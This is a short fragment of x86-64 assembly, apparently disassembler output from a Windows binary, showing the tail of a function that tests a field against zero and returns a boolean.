mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014a1f
xor al, al
jmp 0x140014a21
mov al, 1
add rsp, 0x38
ret